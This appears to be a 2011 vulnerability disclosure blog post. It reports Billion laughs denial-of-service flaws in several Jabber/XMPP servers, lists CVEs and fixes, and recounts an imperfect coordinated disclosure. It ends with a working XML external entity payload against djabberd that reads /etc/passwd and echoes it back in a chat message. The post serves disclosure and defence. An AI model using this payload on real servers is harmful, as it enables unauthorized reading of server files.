1. Jabber/XMPP is an XML-based protocol used mainly for instant messaging
2. The Billion laughs attack is a type of denial-of-service vulnerability in XML parsers, known since at least 2002. There have already been multiple security advisories about it.

It's surprising that in all that time nobody put one and two together. There isn't any extra trick needed to combine them. Every jabber implementation that I tested is vulnerable. If they receive the well-known exploit, they will hang. No authentication required.

If you are running one of these, it's best to upgrade to a fixed version as soon as it becomes available.

If you develop another application that receives XML from an untrusted party, this would be a good time to check if your application isn't vulnerable too.

Affected software

• ejabberd: fixed in 2.1.7, CVE-2011-1753
• jabberd14: CVE-2011-1754
• jabberd2: fixed in 2.2.14, CVE-2011-1755
• citadel: commit 95040add546a705cc2d1d8f16293141f9f9845a6 - not released yet? CVE-2011-1756
• djabberd: no fix available yet CVE-2011-1757
• prosody: fixed in 0.8.1, CVE-2011-2205
  
  LuaExpat 1.2.0 was released, to make make it possible for prosody to block the attack: CVE-2011-2188
• Cisco Jabber Extensible Communications Platform and Cisco Unified Presence: fixed, CVE-2011-3287/CVE-2011-3288 [added 2011-09-29, not discovered by me]

(Un)coordinated release

Thanks to the help of the Debian security team, this was reported to a list of linux distributions and the authors of all those clients on April 27. It came with a proposed embargo, to not publish anything regarding this (including fixes in
public rcs repositories) issue before 31.05.2011. With such a trivial exploit and so many different parties affected without a fix available, it would take only one idiot to take down most of the jabber network. So waiting a bit for a coordinated release was the responsible thing to do.
That didn't go entirely as planned.

The Citadel developers decided to ignore that: without explaining their reasons, they fixed it publicly immediately.

It's not that big of a deal. The chance of someone trigger-happy seeing the commit was low, and it is just a denial of service. But a vendor not following responsible disclosure when the reporter asks for it seems a bit backwards. To me this means that they've lost their privilege to get vulnerability information before public release. Ironically, that might mean that patching earlier made their users less secure.

At the day of the coordinated release, I discovered that djabberd was also vulnerable to external entity injection (see below).
And bit later, it turned out that our messages never reached the new djabberd maintainers.
And we forgot to warn Prosody. Sorry.

External entity injection

Additionally, djabberd is also vulnerable to external entity injection (CVE-2011-2206). That allows an attacker to remotely read files on the server. This got fixed in djabberd 0.85.

The easiest way to exploit it is to log in and send a message containing the entity to yourself:

<?xml version="1.0"?>
<!DOCTYPE root [
   <!ENTITY a SYSTEM "file:///etc/passwd">
]>
<stream:stream xmlns:stream="http://etherx.jabber.org/streams" xmlns="jabber:client" to="example.com">

<iq type="set" to="example.com" id="auth_2">                                                                                                       
   <query xmlns="jabber:iq:auth">                                                                                                                     
      <username>example</username>                                                                                                                 
      <password>example</password>                                                                                                                 
      <resource>exploit</resource>                                                                                                                 
   </query>                                                                                                                                           
</iq>                                                                                                                                              
                                                                                                                                                         
<presence />                                                                                                                                       
                                                                                                                                                         
<message type="chat" to="example@example.com" id="123">                                                                                            
   <body>&a;</body>                                                                                                                             
</message>